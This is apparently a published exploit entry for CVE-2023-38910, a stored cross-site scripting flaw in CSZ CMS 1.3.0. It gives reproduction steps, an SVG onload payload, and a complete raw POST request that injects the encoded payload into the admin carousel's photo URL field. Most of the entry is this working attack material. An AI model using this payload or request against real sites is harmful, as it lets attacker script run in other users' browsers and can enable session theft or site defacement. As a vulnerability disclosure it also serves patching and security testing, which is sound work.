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# Exploit Title: CSZ CMS 1.3.0 - Stored Cross-Site Scripting ('Photo URL' and 'YouTube URL' ) # Date: 2023/08/18 # CVE: CVE-2023-38910 # Exploit Author: Daniel González # Vendor Homepage: https://www.cszcms.com/ # Software Link: https://github.com/cskaza/cszcms # Version: 1.3.0 # Tested on: CSZ CMS 1.3.0 # Description: # CSZ CMS 1.3.0 is vulnerable to cross-site scripting (XSS), which allows attackers to execute arbitrary web scripts or HTML via a crafted payload entered in the 'Carousel Wiget' section and choosing our carousel widget created above, in 'Photo URL' and 'YouTube URL' plugin. # Steps to reproduce Stored XSS: Go to url http://localhost/admin/carousel. We edit that Carousel that we have created and see that we can inject arbitrary web scripts or HTML into the “Youtube URL” and “Photo URL” fields. We can inject HTML code. With the following payload we can achieve the XSS. Payload: <div><p title="</div><svg/onload=alert(document.domain)>"> #PoC Request: POST http://localhost:8080/admin/carousel/addUrl/3 HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/116.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 137 Origin: http://localhost:8080 Referer: http://localhost:8080/admin/carousel/edit/3 Upgrade-Insecure-Requests: 1 carousel_type=multiimages&photo_url=%3Cdiv%3E%3Cp+title%3D%22%3C%2Fdiv%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%3E&submit=Add |
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